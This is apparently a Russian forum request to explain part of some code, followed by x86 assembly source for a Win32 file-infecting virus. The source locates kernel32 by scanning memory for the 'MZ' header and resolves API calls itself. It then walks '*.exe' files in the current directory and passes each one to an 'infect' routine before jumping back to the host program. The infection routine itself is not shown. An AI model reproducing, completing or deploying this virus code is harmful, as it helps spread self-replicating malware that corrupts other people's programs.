Разобрать часть кода

find_str struc
         dwFileAttributes  dd ?
         ftCreationTime    dq ?
         ftLastAccessTime  dq ?
         ftLastWriteTime   dq ? 
         nFileSizeHigh     dd ? 
         nFileSizeLow      dd ?
         dwReserved0       dd ?
         dwReserved1       dd ?   
         cFileName         db 260 dup (?)
         cAlternateFileName db 14 dup (?)
         ends
 
 
include 1.inc
locals __
.386p
.model flat
.data
start:
    db 68h
start_ip_1 dd 1000h
    db 68h
start_ip_2 dd 0  
    pushad
    call $+5
delta:
    pop  ebp
    sub  ebp, offset delta
    call seh
    mov  esp, [esp.8]
    jmp  end_seh
seh:
    sub  eax, eax
    push 4 ptr fs:[eax]
    mov  4 ptr fs:[eax], esp
    mov  ebx, [esp+12*4]
    sub  bx, bx
__0:
    sub  ebx, 10000h
    mov  ax, 2 ptr [ebx]
    not  eax
    cmp  ax, not 'ZM'
    jnz  __0
    ; ebx - K32 base
    lea esi, [ebp+import_table]
__2x: 
    lodsd
    test al, al
    jz  __1x
    mov  dl, [esi]
    inc  esi
    push esi 
    call get_proc
    pop  edi
    stosd
    mov esi, edi
    jmp __2x
__1x:
    sub  edi, edi
    push edi
    call [ebp+GetModuleHandleA]
    mov  4 ptr [esp+(10*4)], eax
    sub  esp, size find_str
    mov  esi, esp
    push esi
    lea  eax, [ebp+mask]
    push eax
    call [ebp+FindFirstFileA]
    cmp  eax, -1
    jz  __1
__2:
    push eax edi esi
    lea  edx, [esi.cFileName]
    mov  edi, [esi.nFileSizeLow]
    call infect
    pop  esi
    push esi
    push 4 ptr [esp.8]
    call [ebp+FindNextFileA]
    pop edi
    inc edi 
    cmp edi, 50
    ja  __3
    test eax, eax
    pop eax
    jnz __2
    push eax
__3:
    call [ebp+FindClose]
__1:  
    add  esp, size find_str 
end_seh:
    pop 4 ptr fs:[0]
    pop eax     
    popad
    pop eax
    add [esp], eax
    ret
 
mask db '*.exe',0
. . .